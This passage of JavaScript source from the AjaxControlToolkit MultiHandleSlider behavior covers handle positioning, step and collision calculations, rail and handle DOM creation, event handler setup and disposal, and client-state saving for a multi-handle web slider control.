        offset += parseInt(edge, 10);

        return offset;
    },

    _calculateClick: function(offset) {
        /// <summary>
        /// Calculates where to move a handle during a rail click event.
        /// </summary>
        /// <param name="offset" type="Number">The mouse offset.</param>
        
        var railBounds = this._getOuterBounds(),
            closestHandle = this._handleData[0];
            
        var handleBounds = this._getBoundsInternal(closestHandle);
        closestHandle = this._calculateClosestHandle(offset);

        var minOffset = handleBounds.width / 2;
        var maxOffset = railBounds.width - minOffset;

        offset = (offset < minOffset) ? minOffset: (offset > maxOffset) ? maxOffset: offset;

        var multiHandleSliderTarget = $get(closestHandle.multiHandleSliderTargetID);
        this._calculateMultiHandleSliderTargetValue(multiHandleSliderTarget, offset, true);
        $common.tryFireEvent(this.get_element(), "change");
    },
    
    _calculateClosestHandle: function(offset) {
        /// <summary>
        /// Calculates the closest handle to a mouse click.
        /// </summary>
        /// <param name="offset" type="Number">The mouse offset.</param>
        /// <returns type="Sys.UI.DomElement" domElement="true">The closest handle element.</returns>
        
        var closestHandle = this._handleData[0],
            distances = [this._handles],
            outer = this._getOuterBounds();

        for (var i = 0; i < this._handles; i++) {
            var handle = this._handleData[i],
                bounds = this._getBoundsInternal(handle);

            var pos = this._isVertical ? handle.offsetTop: bounds.x - outer.x;
            distances[i] = Math.abs(pos - offset);
        }

        var delta = distances[0];
        for (i = 0; i < this._handles; i++) {
            var d = distances[i];
            if (d < delta) {
                handle = this._handleData[i];
                delta = d;
                closestHandle = handle;
            }
        }

        // Determine precedent inner range
        if (this._innerDrag) {
            var index = Array.indexOf(this._handleData, closestHandle);
            var location = Sys.UI.DomElement.getLocation(closestHandle);
            var locationOffset = this._isVertical ? location.y: location.x - outer.x;

            if (locationOffset >= (offset + distances[index])) {
                // Get the handle before the one we chose
                var newHandle = this._handleData[index - 1];
                if (newHandle) {
                    closestHandle = newHandle;
                }
            }
        }
        
        return closestHandle;
    },
    
    _calculateMultiHandleSliderTargetValue: function(multiHandleSliderTarget, mouseOffset, computed) {
        /// <summary>
        /// Determines the closest value to set a bound control
        /// </summary>
        /// <param name="multiHandleSliderTarget" type="Sys.UI.DomElement">The bound control instance.</param>
        /// <param name="mouseOffset" type="Number">The relative distance of the mouse click.</param>
        /// <param name="computed" type="Boolean" mayBeNull="false" optional="true">Whether the value should be calculated or taken from the current instance.</param>
        /// <returns type="Number">The resulting value of the current target.</returns>
        var secondaryHandle,
            secondaryMultiHandleSliderTarget,
            min = this._minimum,
            max = this._maximum;

        if (this._handleUnderDrag && !multiHandleSliderTarget) {
            handle = this._handleUnderDrag;
            multiHandleSliderTarget = $get(this._handleUnderDrag.multiHandleSliderTargetID);
            if (this._innerDrag) {
                var primary = Array.indexOf(this._handleData, handle);
                secondaryHandle = this._handleData[primary + 1];
                if (!secondaryHandle) {
                    // On the last handle; use the previous instead
                    secondaryHandle = this._handleData[primary - 1];
                }
                secondaryMultiHandleSliderTarget = $get(secondaryHandle.multiHandleSliderTargetID);
            }
        }

        var handle = multiHandleSliderTarget.Handle, value = multiHandleSliderTarget.value;

        if (value && !computed) {
            if (typeof(value) !== 'number') {
                try {
                    value = parseFloat(value);
                } catch(ex) {
                    value = Number.NaN;
                }
            }

            if (isNaN(value)) {
                value = this._minimum;
            }
            
            // Range constraints
            val = Math.max(Math.min(value, max), min);
        } else {
            var handleBounds = this._getBoundsInternal(handle), 
                railBounds = this._getOuterBounds(),
                mark = (mouseOffset) ? mouseOffset - handleBounds.width / 2: handleBounds.x - railBounds.x,
                extent = railBounds.width - handleBounds.width, percent = mark / extent;

            val = Math.max(Math.min(value, max), min);
            val = (mark === 0) ? min : (mark === (railBounds.width - handleBounds.width)) ? max : min + percent * (max - min);
        }

        // Steps
        if (this._steps > 0) {
            val = this._getNearestStepValue(val);
        }

        // Range constraints
        val = Math.max(Math.min(val, max), min);

        // Collision
        var previousControls = [],
            nextControls = [], 
            cp = 0, 
            cn = 0, 
            block, 
            prev = true;
        
        for (var i = 0; i < this._handles; i++) {
            var vc = this._multiHandleSliderTargets[i];
            if (!vc.ControlID.match(multiHandleSliderTarget.id)) {
                if (prev) {
                    previousControls[cp] = this._multiHandleSliderTargets[i];
                    cp++;
                } else {
                    nextControls[cn] = this._multiHandleSliderTargets[i];
                    cn++;
                }
            } else {
                prev = false;
            }
        }
        
        if (cp > 0) {
            var p = parseFloat($get(previousControls[cp - 1].ControlID).value);
            val = Math.max(val, p);
            block = val === p;
        }
        
        if (cn > 0) {
            var n = parseFloat($get(nextControls[0].ControlID).value);
            val = Math.min(val, n);
            block = val === n;
        }

        if (secondaryHandle) {
            var delta = val - parseFloat(value),
                secondaryValue = parseFloat(secondaryMultiHandleSliderTarget.value),
                secondaryVal = secondaryValue + delta;

            // Find next maximum if there are other handles
            var nextIndex = Array.indexOf(this._handleData, secondaryHandle) + 1;
            if (nextIndex < this._multiHandleSliderTargets.length) {
                var nextMultiHandleSliderTargetID = this._multiHandleSliderTargets[nextIndex].ControlID;
            }
            if (nextMultiHandleSliderTargetID) {
                var nextMultiHandleSliderTarget = $get(nextMultiHandleSliderTargetID);
            }
            if (nextMultiHandleSliderTarget) {
                var nextValue = nextMultiHandleSliderTarget.value;
            }

            if (secondaryVal > (nextValue || max)) {
                secondaryVal = secondaryValue;
                val = value;
                block = true;
            }
        }
        
        if (!block && (Math.max(val, max) === max && Math.min(val, min) === min)) {
            this.beginUpdate();
            
            val = Math.max(Math.min(val, max), min);
            this._setMultiHandleSliderTargetValue(multiHandleSliderTarget, val);
            
            if (secondaryHandle) {
                this._setMultiHandleSliderTargetValue(secondaryMultiHandleSliderTarget, secondaryVal);
            }
            this.endUpdate();
        } else {
            this.beginUpdate();

            if (this._handles === 1) {
                this._setMultiHandleSliderTargetValue(multiHandleSliderTarget, val);
            } else {
                multiHandleSliderTarget.value = val;
                handle.Value = val;
                this._setHandlePosition(handle, true);
            }

            if (secondaryHandle) {
                secondaryMultiHandleSliderTarget.value = secondaryVal;
                secondaryHandle.Value = secondaryVal;
                this._setHandlePosition(secondaryHandle, true);
            }

            this.endUpdate();
        }
        return val;
    },
    
    _cancelDrag: function() {
        /// <summary>
        /// Ends a drag event.
        /// </summary>
        /// <returns></returns>
        
        if (AjaxControlToolkit.MultiHandleSliderBehavior.DropPending === this) {
            AjaxControlToolkit.MultiHandleSliderBehavior.DropPending = null;
            if (this._selectStartPending) {
                $removeHandler(document, 'selectstart', this._selectStartHandler);
            }
        }
    },

    _createHandles: function() {
        /// <summary>
        /// Creates the handles elements and hover and drag effect callbacks.
        /// </summary>
        /// <returns></returns>
        
        // Create handle DOM elements
        for (var i = 0; i < this._handles; i++) {            
            // Assemble the handle data
            var handleName = this.get_id() + "_handle_" + i, 
                v = this._isVertical,
                hideStyle = '',
                hoverStyle = '',
                dragStyle = '';
            
            // Backwards compatibility: Single handled slider image by URL
            if(this._handles === 1 && this._handleImageUrl)
            {
                var img = "<img id='" + this.get_id() + "_handleImage' src='" + this._handleImageUrl + "' alt='' />";
            }
            
            // Assemble the handle markup
            var anchorStart = "<a id='" + handleName + "' ";
            var innerImg = img ? img : "";
            var anchorEnd = "><div>" + innerImg + "</div></a>";
            this._outer.innerHTML += anchorStart + anchorEnd;                     
        }

        // Create handle data container
        this._handleData = [this._handles];
        
        for (i = 0; i < this._handles; i++) {
            // Detect handle style and events
            var styleInfo = this._cssClass ? this._cssClass: "ajax__multi_slider_default";
            var handleCss = this._multiHandleSliderTargets[i].HandleCssClass;

            if (handleCss || this._cssClass) {
                // Resolve custom class
                hideStyle = handleCss ? handleCss + " " : this._cssClass + " ";
                hoverStyle = hideStyle;
                dragStyle = hideStyle;
                
                var dragCss = handleCss, 
                    hoverCss = handleCss;

                hideStyle = !handleCss ? hideStyle + this._isVertical ? 'handle_vertical': 'handle_horizontal': hideStyle + handleCss;
                hoverStyle = !hoverCss ? hoverStyle + this._isVertical ? 'handle_vertical_hover': 'handle_horizontal_hover': hoverStyle + hoverCss;
                dragStyle = !dragCss ? dragStyle + this._isVertical ? 'handle_vertical_down': 'handle_horizontal_down': dragStyle + dragCss;
            }

            // Build the handle hover effects from callbacks
            this._handleCallbacks = {
                    mouseover: Function.createCallback(this._onShowHover, { vertical : v, custom : hoverStyle }),
                    mouseout: Function.createCallback(this._onHideHover, { vertical : v, custom : hideStyle }),
                    mousedown: Function.createCallback(this._onShowDrag, { vertical : v, custom : dragStyle }),
                    mouseup: Function.createCallback(this._onHideDrag, { vertical : v, custom : hideStyle })                    
            };
           
            // Assign element to container
            this._handleData[i] = this._outer.childNodes[i];
            this._handleData[i].style.overflow = 'hidden';
            
            // Attach callbacks as events to given handle
            $addHandlers(this._handleData[i], this._handleCallbacks);           

            // Process handle styles
            handleCss = this._multiHandleSliderTargets[i].HandleCssClass;
            if (handleCss) {
                Sys.UI.DomElement.addCssClass(this._handleData[i], styleInfo);
                Sys.UI.DomElement.addCssClass(this._handleData[i], handleCss);
            } else {
                // Don't try this for custom styles; they might have arbitrary graphics
                this._handleData[i].className = this._isVertical ? 'handle_vertical': 'handle_horizontal';
            }

            // Map handle targets
            if (this._multiHandleSliderTargets) {
                var multiHandleSliderTargetID = this._multiHandleSliderTargets[i].ControlID;
                this._handleData[i].multiHandleSliderTargetID = multiHandleSliderTargetID;
            }

            // Opera-friendly explicit style settings
            this._handleData[i].style.left = '0px';
            this._handleData[i].style.top = '0px';
            
            // Animation
            if (this._steps < 1) {
                if (this._enableHandleAnimation) {
                    var animation = new AjaxControlToolkit.Animation.LengthAnimation(this._handleData[i], this._handleAnimationDuration, 100, 'style');

                    animation.add_ended(Function.createDelegate(this, this._onAnimationEnded));
                    animation.add_step(Function.createDelegate(this, this._onAnimationStep));
                    this._handleData[i].Animation = animation;
                }
            } else {
                this._enableHandleAnimation = false;
            }
        }
    },

    _createInnerRail: function() {
        /// <summary>
        /// Creates the inner rail.
        /// </summary>
        /// <returns></returns>
        
        if (this._handles > 1 && this._showInnerRail) {
            this._inner = document.createElement('DIV');
            this._inner.id = this.get_id() + '_inner';
            this._inner.style.outline = "none";
            this._inner.tabIndex = -1;
        }
    },

    _createOuterRail: function() {
        /// <summary>
        /// Creates the outer rail.
        /// </summary>
        /// <returns></returns>
        
        this._outer = document.createElement('DIV');
        this._outer.id = this.get_id() + '_outer';
        this._outer.style.outline = "none";
        this._outer.tabIndex = -1;
    },
    
    _createWrapper: function() {
        /// <summary>
        /// Creates the relatively positioned wrapper DIV to contain the slider.
        /// </summary>
        /// <returns></returns>
        
        this._wrapper = document.createElement("DIV");
        this._wrapper.style.position = "relative";
        this._wrapper.style.outline = "none";
    },
    
    _disposeHandlers: function() {
        /// <summary>
        /// Disposes event handlers on the slider.
        /// </summary>
        
        if (!this._isReadOnly) {
            // Global Handlers
            $removeHandler(document, 'mouseup', this._mouseUpHandler);
            $removeHandler(document, 'mouseout', this._mouseOutHandler);

            if (this._outer) {
                // Mouse wheel support
                if (this._outer.addEventListener) {
                    this._outer.removeEventListener('DOMMouseScroll', this._mouseWheelHandler, false);
                } else {
                    this._outer.detachEvent('onmousewheel', this._mouseWheelHandler);
                }
                $common.removeHandlers(this._outer, this._outerDelegates);
            }

            for (var i = 0; i < this._handles; i++) {
                if(this._handleDelegates) {
                    $common.removeHandlers(this._handleData[i], this._handleDelegates);
                }
                if(this._handleCallbacks) {
                    //$common.removeHandlers(this._handleData[i], this._handleCallbacks);
                    $clearHandlers(this._handleData[i]);
                }
            }
            
            this._handleDelegates = null;
            this._handleCallbacks = null;

            if (this._inner && this._showInnerRail && this._innerDelegates) {                
                $common.removeHandlers(this._inner, this._innerDelegates);
            }
            
            // Global Handlers
            this._selectStartHandler = null;
            this._mouseUpHandler = null;
            this._mouseOutHandler = null;
            this._mouseWheelHandler = null;
            this._mouseOverHandler = null;
            this._keyDownHandler = null;
        }
    },

    _disposeMultiHandleSliderTargets: function() {
        /// <summary>
        /// Disposes the bound control elements.
        /// </summary>
        /// <returns></returns>
        
        if (this._multiHandleSliderTargets) {
            for (var i = 0; i < this._handles; i++) {
                var multiHandleSliderTarget = this._multiHandleSliderTargets[i];
                var isInput = multiHandleSliderTarget && multiHandleSliderTarget.nodeName === 'INPUT';

                if (isInput) {
                    $removeHandler(multiHandleSliderTarget, 'change', multiHandleSliderTarget.ChangeHandler);
                    $removeHandler(multiHandleSliderTarget, 'keypress', multiHandleSliderTarget.KeyPressHandler);
                    
                     multiHandleSliderTarget.ChangeHandler = null;
                     multiHandleSliderTarget.KeyPressHandler = null;
                }
            }
        }
    },
    
    _ensureBinding: function(multiHandleSliderTarget) {
        /// <summary>
        /// Ensures control binding to a Label or TextBox element.
        /// </summary>
        
        if (multiHandleSliderTarget) {
            var value = multiHandleSliderTarget.value;

            if (value >= this._minimum || value <= this._maximum) {
                var isInputElement = multiHandleSliderTarget && multiHandleSliderTarget.nodeName === 'INPUT';

                if (isInputElement) {
                    multiHandleSliderTarget.value = value;
                } else if (multiHandleSliderTarget) {
                    multiHandleSliderTarget.innerHTML = value;
                }
            }
        }
    },

    _enforceElementPositioning: function() {
        /// <summary>
        /// Copies any styles from the parent element to the slider wrapper.
        /// </summary>
        
        var tbPosition = {
            position: this.get_element().style.position,
            top: this.get_element().style.top,
            right: this.get_element().style.right,
            bottom: this.get_element().style.bottom,
            left: this.get_element().style.left
        };

        if (tbPosition.position !== '') {
            this._wrapper.style.position = tbPosition.position;
        }
        if (tbPosition.top !== '') {
            this._wrapper.style.top = tbPosition.top;
        }
        if (tbPosition.right !== '') {
            this._wrapper.style.right = tbPosition.right;
        }
        if (tbPosition.bottom !== '') {
            this._wrapper.style.bottom = tbPosition.bottom;
        }
        if (tbPosition.left !== '') {
            this._wrapper.style.left = tbPosition.left;
        }
    },
    
    _getNearestStepValue: function(value) {
        /// <summary>
        /// Determines the closest discrete step value from a given value.
        /// </summary>
        /// <param name="value" type="Number">The value to check against steps</param>
        /// <returns type="Number">The nearest discrete step value from the specified value.</returns>
        
        if (this._steps === 0) return value;

        var extent = this._maximum - this._minimum;
        if (extent === 0) return value;

        if ((this._steps - 1) !== 0) {
            var delta = extent / (this._steps - 1);
        } else {
            return value;
        }

        return Math.round(value / delta) * delta;
    },
    
    _getStepValues: function() {
        /// <summary>
        /// Computes a list of possible slider values based on steps and constraints.
        /// </summary>
        /// <returns></returns>
        
        var steps = [this._steps],
            extent = this._maximum - this._minimum;
       
        var increment = extent / (this._steps - 1);
        steps[0] = this._minimum;
        
        for (var i = 1; i < this._steps; i++) {
            steps[i] = this._minimum + (increment * i);
        }
        return steps;
    },
    
    _handleSlide: function(decrement) {
        /// <summary>
        /// Increments or decrements the value of all handles.
        /// </summary>
        /// <param name="decrement" type="Boolean" mayBeNull="false" optional="true">If true, decrement the slider value; otherwise, increment it.</param>
        /// <returns></returns>
        
        // Test the first handle when decrementing, last if incrementing
        var index = decrement ? 0 : this._handles - 1, 
            start = decrement ? 1 : 0,
            end = decrement ? this._handles : this._handles - 1,
            multiHandleSliderTargetID = this._handleData[index].multiHandleSliderTargetID;
            
        if (this._slideMultiHandleSliderTarget(multiHandleSliderTargetID, decrement)) {
            // Increment
            for (var i = start; i < end; i++) {
                multiHandleSliderTargetID = this._handleData[i].multiHandleSliderTargetID;
                this._slideMultiHandleSliderTarget(multiHandleSliderTargetID, decrement);
            }
        }
        this._initializeInnerRail();
    },
    
    _initializeDragHandle: function(handle) {
        /// <summary>
        /// Creates a hidden drag handle element for managing drag functions.
        /// This hidden element is appended to the document's first form.
        /// </summary>
        /// <param name="handle" type="Sys.UI.DomElement" domElement="true">The handle element to create a drag handle for.</param>
        /// <returns></returns>
        
        var dragHandle = handle.DragHandle = document.createElement('DIV');

        dragHandle.style.position = 'absolute';
        dragHandle.style.width = '1px';
        dragHandle.style.height = '1px';
        dragHandle.style.overflow = 'hidden';
        dragHandle.style.background = 'none';

        // Adding to the body can produce style breaks in some layouts
        document.forms[0].appendChild(handle.DragHandle);
    },
    
    _initializeHandlers: function() {
        /// <summary>
        /// Adds event handlers to the slider.
        /// </summary>
        /// <returns></returns>
        
        if (!this._isReadOnly) {
            // Global Handlers
            this._selectStartHandler = Function.createDelegate(this, this._onSelectStart);
            this._mouseUpHandler = Function.createDelegate(this, this._onMouseUp);
            this._mouseOutHandler = Function.createDelegate(this, this._onMouseOut);
            this._mouseWheelHandler = Function.createDelegate(this, this._onMouseWheel);
            this._mouseOverHandler = Function.createDelegate(this, this._onMouseOver);
            this._keyDownHandler = Function.createDelegate(this, this._onKeyDown);            
            
            $addHandler(document, 'mouseup', this._mouseUpHandler);
            $addHandler(document, 'mouseout', this._mouseOutHandler);

            this._handleDelegates = {
                mousedown: Function.createDelegate(this, this._onMouseDown),
                dragstart: Function.createDelegate(this, this._IEDragDropHandler),
                drag: Function.createDelegate(this, this._IEDragDropHandler),
                dragEnd: Function.createDelegate(this, this._IEDragDropHandler)
            };

            for (var i = 0; i < this._handles; i++) {
                $addHandlers(this._handleData[i], this._handleDelegates);
            }

            if (this._outer) {
                // Mouse wheel support
                if (this._enableMouseWheel) {
                    if (this._outer.addEventListener) {
                        this._outer.addEventListener('DOMMouseScroll', this._mouseWheelHandler, false);
                    } else {
                        this._outer.attachEvent('onmousewheel', this._mouseWheelHandler);
                    }
                }

                this._outerDelegates = {
                    click: Function.createDelegate(this, this._onOuterRailClick),
                    mouseover: Function.createDelegate(this, this._mouseOverHandler),
                    keydown: Function.createDelegate(this, this._keyDownHandler)
                };
                $addHandlers(this._outer, this._outerDelegates);
            }

            if (this._inner && this._showInnerRail) {
                this._innerDelegates = {
                    click: Function.createDelegate(this, this._onInnerRailClick),
                    mousedown: Function.createDelegate(this, this._onMouseDownInner),
                    mouseup: Function.createDelegate(this, this._onMouseUpInner),
                    mouseout: Function.createDelegate(this, this._onMouseOutInner),
                    mousemove: Function.createDelegate(this, this._onMouseMoveInner),
                    dragStart: Function.createDelegate(this, this._IEDragDropHandler),
                    drag: Function.createDelegate(this, this._IEDragDropHandler),
                    dragEnd: Function.createDelegate(this, this._IEDragDropHandler)
                };
                $addHandlers(this._inner, this._innerDelegates);
            }
        }
    },
    
    _initializeHandles: function() {
        /// <summary>
        /// Initializes data and events on handle elements.
        /// </summary>
        /// <returns></returns>
        
        // Restore client state
        var state = this.get_ClientState();
        if (state) {
            var handleStates = state.split(',', this._handles);
        }

        for (var i = 0; i < this._handles; i++) {
            var handle = this._handleData[i],
                decimalPlaces = this._multiHandleSliderTargets[i].Decimals;
            
            if (handleStates) {
                handle.Value = parseFloat(handleStates[i]);
            }

            this._initializeMultiHandleSliderTarget(handle.multiHandleSliderTargetID, decimalPlaces, handle);
            this._initializeHandleValue(handle);
            this._setHandlePosition(handle, true);
            this._initializeDragHandle(handle);
        }
    },
    
    _initializeHandleValue: function(handle) {
        /// <summary>
        /// Initializes the starting value of a given handle.
        /// </summary>
        /// <param name="handle" type="Sys.UI.DomElement" domElement="true">The handle element.</param>
        /// <returns></returns>
        
        // Check if value already exists from state
        if (!handle.Value) {
            try {
                var multiHandleSliderTarget = $get(handle.multiHandleSliderTargetID),
                    isInput = multiHandleSliderTarget && multiHandleSliderTarget.nodeName === 'INPUT',
                    handleValue = parseFloat(isInput ? multiHandleSliderTarget.value : multiHandleSliderTarget.innerHTML);
            } catch(ex) {
                handleValue = Number.NaN;
            }

            // Differentiate between a label and a textbox
            if (isNaN(handleValue)) {
                handle.Value = this._minimum;
                if(isInput) {
                    multiHandleSliderTarget.value = handle.Value;
                } else {
                    multiHandleSliderTarget.innerHTML = handle.Value;
                }
            } else {
                handle.Value = handleValue;
            }
        }
    },

    _initializeInnerRail: function() {
        /// <summary>
        /// Initializes the appearance and location of the inner rail. Called multiple times to
        /// recalculate the inner rail's position.
        /// </summary>
        /// <returns></returns>
        
        if (this._inner && this._showInnerRail) {
            var firstIndex = 0, lastIndex = this._handles - 1,
                handle = this._handleData[firstIndex],
                lastHandle = this._handles > 1 ? this._handleData[lastIndex] : null;

            // Set the inner rail
            if (lastHandle) {
            
                // firstOffset and lastOffset account for user-defined offset handle width
                var handleWidth = parseInt(this._getBoundsInternal(handle).width, 10),
                    handleLeft = parseInt(this._isVertical ? handle.style.top : handle.style.left, 10),
                    handleRight = parseInt(this._isVertical ? lastHandle.style.top : lastHandle.style.left, 10),
                    firstOffset = parseInt(this._multiHandleSliderTargets[firstIndex].Offset, 10),
                    lastOffset = parseInt(this._multiHandleSliderTargets[lastIndex].Offset, 10);
                
                handleLeft += firstOffset;
                handleRight += lastOffset;

                if (this._isVertical) {
                    this._inner.style.top = handleLeft + "px";
                    this._inner.style.height = handleRight + handleWidth - handleLeft + "px";
                } else {
                    this._inner.style.left = handleLeft + "px";
                    this._inner.style.width = (handleRight + handleWidth - handleLeft) + "px";
                }

                // Slide the door
                if (this._innerRailStyle === AjaxControlToolkit.MultiHandleInnerRailStyle.SlidingDoors) {
                    this._inner.style.backgroundPosition = this._isVertical ? "0 -" + handleLeft + "px": "-" + handleLeft + "px 0";
                }
            }
        }
    },
    
    _initializeMultiHandleSliderTarget: function(multiHandleSliderTargetID, decimalPlaces, handle) {
        /// <summary>
        /// Initializes a given element that is bound to a handle.
        /// </summary>
        /// <param name="multiHandleSliderTargetID" type="String">The ID of the control element.</param>
        /// <param name="decimalPlaces" type="Number">The number of decimal places to format the control's value.</param>
        /// <param name="handle" type="Sys.UI.DomElement" domElement="true">The handle element.</param>
        /// <returns></returns>
        
        if (multiHandleSliderTargetID) {
            var multiHandleSliderTarget = $get(multiHandleSliderTargetID);

            if (handle.Value) {
                // Set from state
                multiHandleSliderTarget.value = handle.Value;
            }

            multiHandleSliderTarget.Handle = handle;
            multiHandleSliderTarget.Decimals = decimalPlaces;
            multiHandleSliderTarget.OldValue = multiHandleSliderTarget.value;
            multiHandleSliderTarget.onchange = "setValue(this, " + multiHandleSliderTarget.value + ")";
            
            if (!multiHandleSliderTarget.Decimals) {
                multiHandleSliderTarget.Decimals = 0;
            }

            var isInput = multiHandleSliderTarget && multiHandleSliderTarget.nodeName === 'INPUT';
            if (isInput) {
                multiHandleSliderTarget.KeyPressHandler = Function.createDelegate(this, this._onMultiHandleSliderTargetKeyPressed);
                multiHandleSliderTarget.ChangeHandler = Function.createDelegate(this, this._onMultiHandleSliderTargetChange);
                
                $addHandler(multiHandleSliderTarget, 'keypress', multiHandleSliderTarget.KeyPressHandler);
                $addHandler(multiHandleSliderTarget, 'change', multiHandleSliderTarget.ChangeHandler);
            }
        }
    },
    
    _initializeSlider: function() {
        /// <summary>
        /// Creates the generated slider DOM components.
        /// </summary>
        /// <returns></returns>
        
        AjaxControlToolkit.DragDrop.registerDropTarget(this);

        this._initializeHandles();
        this._initializeHandlers();
        this._initializeInnerRail();
        this._initialized = true;

        this._raiseEvent('load');
    },

    _resetDragHandle: function(handle) {
        /// <summary>
        /// Resets the position of the hidden drag handle.
        /// </summary>
        /// <param name="handle" type="Sys.UI.DomElement" domElement="true">The handle element.</param>
        /// <returns></returns>
        
        var handleBounds = $common.getBounds(handle);
        $common.setLocation(handle.DragHandle, {
            x: handleBounds.x,
            y: handleBounds.y
        });
    },

    _resolveNamingContainer: function() {
        /// <summary>
        /// Uses the behavior name and client state to resolve the inner control IDs.
        /// </summary>
        /// <returns></returns>
        
        if (this._multiHandleSliderTargets && !this._boundControlID) {
            var index = this._clientStateFieldID.lastIndexOf(this._id),
                token = this._clientStateFieldID.substring(0, index);
            
            for (var i = 0; i < this._handles; i++) {
                this._multiHandleSliderTargets[i].ControlID = token + this._multiHandleSliderTargets[i].ControlID;
            }
        }
    },
    
    _saveState: function() {
        /// <summary>
        /// Sets the values of all handle controls in client state.
        /// </summary>
        /// <returns></returns>
        
        var state = [this._handles];
        for (var i = 0; i < this._handles; i++) {
            state[i] = $get(this._multiHandleSliderTargets[i].ControlID).value;
        }
        
        this.set_ClientState(state.join(','));
    },

    _setHandlePosition: function(handle, allowAnimation) {
        /// <summary>
        /// Sets the location of the handle when changing slider values.
        /// </summary>
        /// <param name="handle" type="Sys.UI.DomElement" domElement="true">The handle element.</param>
        /// <param name="allowAnimation" type="Boolean">If true, animate the transition to the new handle value; otherwise, do nothing.</param>
        /// <returns></returns>
        
        var min = this._minimum, max = this._maximum, value = handle.Value,
            animate = this._enableHandleAnimation && this._animationPending && allowAnimation,
            handleBounds = this._getBoundsInternal(handle),
            railBounds = this._getOuterBounds();

        if (handleBounds.width <= 0 && railBounds.width <= 0) {
            handleBounds.width = parseInt($common.getCurrentStyle(handle, 'width'), 10);
            railBounds.width = parseInt($common.getCurrentStyle(this._outer, 'width'), 10);
            
            if (handleBounds.width <= 0 || railBounds.width <= 0) {
                throw Error.argument('width', AjaxControlToolkit.Resources.MultiHandleSlider_CssHeightWidthRequired);
            }
        }

        var extent = max - min, fraction = (value - min) / extent;
        var o = Math.round(fraction * (railBounds.width - handleBounds.width));
        var offset = (value === min) ? 0: (value === max) ? (railBounds.width - handleBounds.width) : o;

        if (animate) {
            handle.Animation.set_startValue(handleBounds.x - railBounds.x);
            handle.Animation.set_endValue(offset);
            handle.Animation.set_propertyKey(this._isVertical ? 'top': 'left');
            handle.Animation.play();

            this._animationPending = false;
        } else {
            o = offset + 'px';
            if (this._isVertical) {
                handle.style.top = o;
            } else {
                handle.style.left = o;
            }
        }
    },

    _setRailStyles: function() {
        /// <summary>
        /// Determines from configuration the class names to use for slider elements.
        /// </summary>
        /// <returns></returns>
        
        // Backwards-compatibility: rail style on single handle slider
        if(!this._inner && this._railCssClass) {
            this._outer.className = this._railCssClass;
            return;
        }        
        var styleInfo = this._cssClass ? this._cssClass: "ajax__multi_slider_default";

        Sys.UI.DomElement.addCssClass(this.get_element(), styleInfo);
        Sys.UI.DomElement.addCssClass(this._outer, styleInfo);
        Sys.UI.DomElement.addCssClass(this._wrapper, styleInfo);

        if (this._inner) {
            Sys.UI.DomElement.addCssClass(this._inner, styleInfo);

            var outer = this._isVertical ? 'outer_rail_vertical': 'outer_rail_horizontal',
                inner = this._isVertical ? 'inner_rail_vertical': 'inner_rail_horizontal';

            Sys.UI.DomElement.addCssClass(this._outer, outer);
            Sys.UI.DomElement.addCssClass(this._inner, inner);
        } else {
            outer = this._isVertical ? 'inner_rail_vertical': 'inner_rail_horizontal';

            Sys.UI.DomElement.addCssClass(this._outer, outer);
        }
    },
    
    _setMultiHandleSliderTargetValue: function(multiHandleSliderTarget, value) {
        /// <summary>
        /// Sets the value of a bound control.
        /// </summary>
        /// <param name="multiHandleSliderTarget" type="Sys.UI.DomElement" domElement="true">The bound control element.</param>
        /// <param name="value" type="Number">The value to set the target to.</param>
        /// <returns></returns>
        
        var oldValue = multiHandleSliderTarget.OldValue, newValue = value;

        if (oldValue === newValue && this._isReadOnly) {
            multiHandleSliderTarget.value = oldValue;
        } else {
            if (!this.get_isUpdating()) {
                newValue = this._calculateMultiHandleSliderTargetValue(multiHandleSliderTarget);
            }

            multiHandleSliderTarget.value = newValue.toFixed(multiHandleSliderTarget.Decimals);
            this._ensureBinding(multiHandleSliderTarget);

            if (!Number.isInstanceOfType(multiHandleSliderTarget.value)) {
                try {
                    multiHandleSliderTarget.value = parseFloat(multiHandleSliderTarget.value);
                } catch(ex) {
                    multiHandleSliderTarget.value = Number.NaN;
                }
            }

            if (this._tooltipText) {
                var handle = multiHandleSliderTarget.Handle;
                handle.alt = handle.title = String.format(this._tooltipText, multiHandleSliderTarget.value);
            }

            if (this._initialized) {
                multiHandleSliderTarget.Handle.Value = newValue;
                this._setHandlePosition(multiHandleSliderTarget.Handle, true);
                // Backwards compatibility for single-handled slider: set element value
                if(this._handles === 1) {
                    this.get_element().value = newValue;
                }

                if (multiHandleSliderTarget.value !== oldValue) {
                    multiHandleSliderTarget.OldValue = multiHandleSliderTarget.value;
                    this._initializeInnerRail();

                    // Prevent click after drag
                    if (this._innerDrag) {
                        this._blockInnerClick = true;
                    }
                    this._raiseEvent('valueChanged');

                    if (this.get_isUpdating()) {
                        if (!this._raiseChangeOnlyOnMouseUp) {
                            $common.tryFireEvent(this.get_element(), "change");
                        }
                    }
                }
            }
        }

        // Store all values in client state
        this._saveState();
    },
    
    _setValueFromMultiHandleSliderTarget: function(multiHandleSliderTarget) {
        /// <summary>
        /// Sets the value of the slider based on the value inside a bound control.
        /// </summary>
        /// <param name="multiHandleSliderTarget" type="Sys.UI.DomElement" domElement="true">The bound control instance.</param>
        /// <returns></returns>
        
        this.beginUpdate();
        if (multiHandleSliderTarget) {
            if (!this._isReadOnly) {
                if (this._handles === 1 && this._steps > 0) {
                    // Bypass all the calculations since we already know the discrete value
                    this._setMultiHandleSliderTargetValue(multiHandleSliderTarget, multiHandleSliderTarget.value);
                }
                this._calculateMultiHandleSliderTargetValue(multiHandleSliderTarget);
            } else {
                this._setMultiHandleSliderTargetValue(multiHandleSliderTarget, multiHandleSliderTarget.OldValue);
            }
        }
        this.endUpdate();
    },

    _slideMultiHandleSliderTarget: function(multiHandleSliderTargetID, decrement) {
        /// <summary>
        /// Increments the value of a bound control.
        /// </summary>
        /// <param name="multiHandleSliderTargetID" type="String">The ID of the bound control element.</param>
        /// <param name="decrement" type="Boolean" mayBeNull="false" optional="true">If true, decrement the target's value; otherwise, increment it.</param>
        /// <returns></returns>
        
        var multiHandleSliderTarget = $get(multiHandleSliderTargetID),
            oldValue = multiHandleSliderTarget.value,
            newValue, i;

        if (this._steps > 0) {
            var stepValues = this._getStepValues(),
                oldStep = this._getNearestStepValue(oldValue);
                
            newValue = oldStep;

            if (decrement) {
                // Decrement
                for (i = this._steps - 1; i > -1; i--) {
                    if (stepValues[i] < oldStep) {
                        newValue = stepValues[i];
                        break;
                    }
                }
            } else {
                // Increment
                for (i = 0; i < this._steps; i++) {
                    if (stepValues[i] > oldStep) {
                        newValue = stepValues[i];
                        break;
                    }
                }
            }
